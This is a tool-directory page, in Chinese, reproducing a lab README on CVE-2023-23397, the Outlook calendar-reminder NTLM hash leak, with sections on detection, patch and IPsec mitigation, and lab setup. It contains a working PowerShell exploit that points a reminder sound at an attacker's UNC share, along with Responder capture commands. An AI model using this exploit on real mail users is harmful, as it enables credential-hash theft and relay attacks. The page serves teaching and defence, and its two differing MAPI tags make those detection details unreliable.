Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-23397 — Demonstration of CVE-2023-23397 Outlook Privellege Escalation vulnerability | Kitploit
工具/GitHubGitHub/gilospy/cve-2023-23397
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubgilospy/cve-2023-23397

CVE-2023-23397

Demonstration of CVE-2023-23397 Outlook Privellege Escalation vulnerability

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-23397 漏洞利用与缓解演示

📌 概述

本项目演示了 CVE-2023-23397 的检测、利用与缓解,这是 Microsoft Outlook for Windows 中的一个严重零点击 NTLM 中继漏洞。通过日历邀请进行利用,攻击者能够在无需任何用户交互的情况下捕获 NTLMv2 哈希。

🛡️ CVSS 评分: 9.8(严重)
🖥️ 受影响版本: Outlook 2013、2016、2019、Microsoft 365(2023 年 3 月 14 日补丁之前)


⚠️ 漏洞详情

Outlook 的日历提醒可通过 PidLidReminderFileParameter MAPI 属性配置自定义声音。Outlook 未能验证 UNC 路径,导致在触发提醒时会发出远程 SMB 请求。

root@kitploit:~
\\attacker-ip\share\sound.wav

这会导致 NTLMv2 哈希被发送到攻击者控制的服务器,然后可用于:

  • 离线破解(密码恢复)
  • 在 NTLM 中继攻击中用于权限提升

🔍 检测方法

使用 MFCMAPI 检查日历项目,查找 PidLidReminderFileParameter(MAPI 标签 0x851F001F)中的恶意值。

步骤:

  1. 打开 MFCMAPI → QuickStart > Open Folder > Calendar
  2. 进入 Table > Set Columns
  3. 添加属性标签 0x808A001F 以查看提醒文件路径
  4. 查找 UNC 路径作为入侵指标

🛠️ 缓解技术

1. 应用 Microsoft 补丁(推荐)

安装 2023 年 3 月 14 日的补丁(例如 KB5002044)。该补丁引入了:

  • IsFileZoneLocalIntranetOrTrusted() 以验证提醒文件路径
  • 用于定义受信任域名的组策略选项

测试结果:
Outlook 将记录事件 ID 1008 并阻止对不受信任的 SMB 路径的访问。


2. IPsec 网络级缓解(临时)

a. 阻止所有 SMB

  • 阻止出站 TCP 445(SMB)
  • 防止 NTLM 泄漏到不受信任的网络

b. 仅允许受信任的 IP

  • 定义内部 IP(例如 192.168.1.0/24)
  • 保持内部 SMB 使用的业务连续性

📂 预建策略:OutlookMitigation.ipsec


💻 项目设置

环境

系统用户名密码
Kali Linuxkalikali
Windows 10 虚拟机CVE-2023-23397vbox@123
邮箱账户victim​@exploit.comvbox@123

攻击者(Kali Linux)

root@kitploit:~
sudo apt install responder
sudo responder -I eth0 -v

确保 Kali 和受害者虚拟机在同一网络中。


受害者(Windows + Outlook 2013)

  1. 安装:

    • Outlook 2013
    • .NET 2.0
    • hMailServer
    • MFCMAPI
  2. 设置:

    • hMailServer 域名:exploit.com
    • 邮件用户:[email protected]

🚨 利用(PowerShell 脚本)

root@kitploit:~
# 初始化 Outlook COM 对象
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
 
$ip = "192.168.1.7" # 攻击者 IP 地址
$emails = @("[email protected]")  # 邮件列表

# 创建新的约会项
$Appointment = $Outlook.CreateItem(1) # 1 对应 olAppointmentItem

# 设置约会属性
$Appointment.Subject = "CVE 演示演示"
$Appointment.Body = "这是一个测试会议,请忽略。"
$Appointment.Location = "迪拜"
$Appointment.Start = (Get-Date).AddSeconds(1) # 开始时间设置为从现在起 1 秒后
$Appointment.Duration = 30 # 持续时间(分钟)

# 配置提醒设置
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"

foreach ($email in $emails) {
    $Appointment.Recipients.Add($email) | Out-Null
}

# 保存并发送约会
$Appointment.Save()
$Appointment.Send()

Responder 将捕获来自受害者系统的 NTLMv2 哈希。


✅ 验证

检测

  • 使用 MFCMAPI 确认 PidLidReminderFileParameter 包含 UNC 路径。

缓解

  • 应用补丁或 IPsec 策略。
  • 重新运行脚本:Outlook 可能会显示提醒,但不应捕获到 NTLM 哈希。

❗ 局限性

  • 阻止所有 SMB 流量可能会影响合法服务(文件共享、域认证)
  • 维护受信任的 IP 列表可能变得操作复杂

下载工具